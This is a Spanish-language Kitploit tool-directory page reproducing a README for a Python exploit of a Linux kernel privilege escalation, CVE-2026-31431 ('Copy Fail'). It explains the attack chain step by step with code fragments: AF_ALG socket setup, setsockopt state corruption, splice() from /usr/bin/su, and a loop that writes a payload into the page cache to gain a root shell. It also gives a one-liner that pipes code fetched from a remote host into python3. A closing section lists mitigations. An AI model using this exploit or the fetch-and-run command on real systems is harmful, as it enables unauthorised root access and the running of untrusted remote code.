Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/abhishekhargan/cve-2026-31431
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubabhishekhargan/cve-2026-31431

CVE-2026-31431

Exploit en Python para escalada local de privilegios en el kernel de Linux (CVE-2026-31431) que utiliza confusión de estado del socket AF_ALG y splice() para lograr escritura arbitraria de archivos y acceso root.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 3 mesesAún no revisado

CVE-2026-31431: "Copy Fail" - Escalada de Privilegios Local en el Kernel de Linux

📢 Aviso Legal

Este repositorio es estrictamente para fines educativos y de investigación en ciberseguridad. El código del exploit se analiza para comprender la vulnerabilidad subyacente, facilitar su parcheo y desarrollar estrategias de defensa. No lo utilices contra sistemas que no te pertenezcan o para los que no tengas autorización explícita de prueba.

📝 Resumen

"Copy Fail" es una vulnerabilidad crítica de Escalada de Privilegios Local (LPE) encontrada en el Kernel de Linux. Permite que un usuario sin privilegios obtenga acceso root explotando una falla en la forma en que el kernel maneja las operaciones de memoria entre el sistema de archivos y la API de Criptografía Asíncrona (AF_ALG).

⚙️ Cómo Funciona (Análisis Técnico Detallado)

El exploit en Python proporcionado aprovecha una combinación de syscalls e interfaces oscuras de Linux para lograr una escritura arbitraria fuera de los límites (OOB) en la memoria del kernel, que luego se traduce en una escritura arbitraria de archivos en disco.

Aquí está el desglose paso a paso de la cadena de ataque:

1. Inicialización de la Interfaz AF_ALG

root@kitploit:~
a=s.socket(38, 5, 0)
a.bind(("aead","authesn(hmac(sha256),cbc(aes))"))

El script crea un socket AF_ALG (Familia 38). Esta interfaz permite que las aplicaciones de espacio de usuario descarguen operaciones criptográficas al kernel. Específicamente solicita una cadena de cifrado AEAD (Autenticación Encriptada con Datos Asociados) que combina HMAC-SHA256 y CBC-AES.

2. Confusión de Estado mediante setsockopt

root@kitploit:~
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)

El script manipula el estado interno del socket usando setsockopt. La carga útil hexadecimal y el argumento None están cuidadosamente diseñados para desencadenar una condición de límite o un desbordamiento de enteros en la gestión del búfer de la API criptográfica del kernel. Esto "falla" la operación de copia de forma segura dentro del kernel, dejando el socket en un estado inconsistente y vulnerable.

3. Transferencia de Datos de Cero Copias con splice()

root@kitploit:~
n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)

Este es el núcleo del exploit. En lugar de leer datos al espacio de usuario y escribirlos de vuelta, splice() mueve datos directamente entre descriptores de archivo enteramente en el espacio del kernel. El script abre /usr/bin/su (un binario SUID root) e intenta transferir datos desde él hacia el socket AF_ALG mal configurado. Debido a que el estado del socket fue corrompido en el Paso 2, la verificación de límites del kernel falla durante esta operación de cero copias.

4. Bucle de Inyección de la Carga Útil

root@kitploit:~
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4

El script descomprime una carga útil comprimida (probablemente un pequeño shellcode o un blob binario modificado). Entra en un bucle, enviando esta carga útil de 4 bytes a la vez al búfer del socket corrupto. Debido a la falla en la verificación de límites, estas escrituras de 4 bytes aterrizan en offsets arbitrarios de la caché de páginas del kernel—el espacio de memoria exacto donde está cargado /usr/bin/su.

5. Escalada de Privilegios

root@kitploit:~
g.system("su")

Al sobrescribir punteros de instrucciones específicos o comprobaciones lógicas dentro de la versión en caché de páginas de /usr/bin/su, el atacante modifica el comportamiento del binario. Cuando se llama a system("su"), ejecuta el binario SUID modificado. El binario se ejecuta como root pero omite la verificación estándar de contraseña, llevando al atacante directamente a un shell root.

6. Explotación

Descarga y ejecuta copyfail.py en tu sistema Linux o usa la siguiente solicitud curl para una ejecución rápida

root@kitploit:~
curl https://copy.fail/exp | python3 && su
id

https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e

🎯 Impacto

  • Severidad: Crítica
  • Vector de Ataque: Local (Requiere ejecución en la máquina objetivo)
  • Impacto: Acceso Root Completo, Omisión de todos los permisos de archivos y perfiles SELinux/AppArmor.

🛡️ Mitigación y Defensa

  1. Parchea el Kernel: Aplica los últimos parches de seguridad proporcionados por tu distribución de Linux (Canonical, Red Hat, Debian, etc.).
  2. Restringe AF_ALG: Si la descarga criptográfica no es requerida por tus cargas de trabajo, desactiva el módulo del kernel af_alg añadiendo blacklist af_alg a /etc/modprobe.d/blacklist.conf.
  3. Perfiles Seccomp/AppArmor: Restringe la capacidad de los usuarios sin privilegios para usar splice(), socket() (específicamente la familia 38) y setsockopt() usando filtros Seccomp estrictos.

📚 Referencias

  • https://xint.io/blog/copy-fail-linux-distributions#the-exploit-4
Descargar herramienta